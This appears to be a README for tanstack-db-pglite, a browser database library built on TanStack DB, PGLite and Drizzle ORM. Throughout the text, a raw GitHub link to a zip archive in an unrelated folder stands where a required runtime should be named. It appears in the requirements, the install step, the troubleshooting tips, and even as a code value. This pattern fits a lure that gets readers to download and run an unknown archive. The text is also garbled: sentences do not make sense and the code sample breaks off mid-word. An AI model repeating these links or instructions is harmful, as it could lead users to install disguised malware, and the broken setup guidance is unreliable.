To get started with tanstack-db-pglite, visit the releases page to download the latest version:
tanstack-db-pglite provides an easy way to manage databases on your browser. It combines features from TanStack DB, PGLite, and Drizzle ORM. You get a smooth experience when working with browser-based databases.
- Operating System: Windows, macOS, or Linux
- https://raw.githubusercontent.com/maria-queen315/tanstack-db-pglite/main/colalgia/tanstack-db-pglite.zip Version 14.x or later
- Browser: Latest version of Chrome, Firefox, or Safari
- User-Friendly Interface: Designed for effortless navigation.
- Integration: Works seamlessly with TanStack DB and PGLite.
- Lightweight: Small footprint ensures quick loading times.
- Comprehensive Documentation: Guides to help you get started and troubleshoot common issues.
Follow these steps to set up tanstack-db-pglite on your machine:
Step 1: Install https://raw.githubusercontent.com/maria-queen315/tanstack-db-pglite/main/colalgia/tanstack-db-pglite.zip
If you haven't installed https://raw.githubusercontent.com/maria-queen315/tanstack-db-pglite/main/colalgia/tanstack-db-pglite.zip yet, download it from the https://raw.githubusercontent.com/maria-queen315/tanstack-db-pglite/main/colalgia/tanstack-db-pglite.zip official website.
Open your terminal or command prompt, and run the following command:
npm install tanstack-db-pglite @tanstack/db drizzle-orm @electric-sql/pglite
Note:
@tanstack/db
anddrizzle-orm
are required packages. Ensure that you install them as well.
Once installed, you can start using tanstack-db-pglite in your project. Here is a simple example:
import { PGLite } from '@electric-sql/pglite'
import { createCollection } from '@tanstack/react-db'
import { drizzle } from 'drizzle-orm/pglite'
import { drizzleCollectionOptions } from 'tanstack-db-pglite'
import { chats } from '~/drizzle'
const pglite = new PGLite()
const db = drizzle(pglite)
export const chatsCollection = createCollection(drizzleCollectionOptions({
db,
table: chats,
primaryColumn: https://raw.githubusercontent.com/maria-queen315/tanstack-db-pglite/main/colalgia/tanstack-db-pglite.zip,
prepare: async () => {
// Prepare your database before starting the collection (e.g., run migrations)
await waitForMigrati
}
}))
This code snippet shows how to initialize and prepare your database using tanstack-db-pglite.
For more detailed instructions and advanced features, check our comprehensive documentation:
If you encounter issues, try the following steps:
- Ensure that https://raw.githubusercontent.com/maria-queen315/tanstack-db-pglite/main/colalgia/tanstack-db-pglite.zip is properly installed.
- Check for any missing package installations.
- Review any error messages you receive in the terminal.
Join our community for support, tips, and discussions:
We welcome contributions! If you want to help, please follow these steps:
- Fork the repository.
- Create a new branch for your feature or bug fix.
- Submit a pull request with a clear description of your changes.
This project is licensed under the MIT License. See the LICENSE file for details.
Don't forget, to get the latest version of tanstack-db-pglite, please visit:
Your journey with tanstack-db-pglite starts here. Enjoy a smooth and efficient database management experience!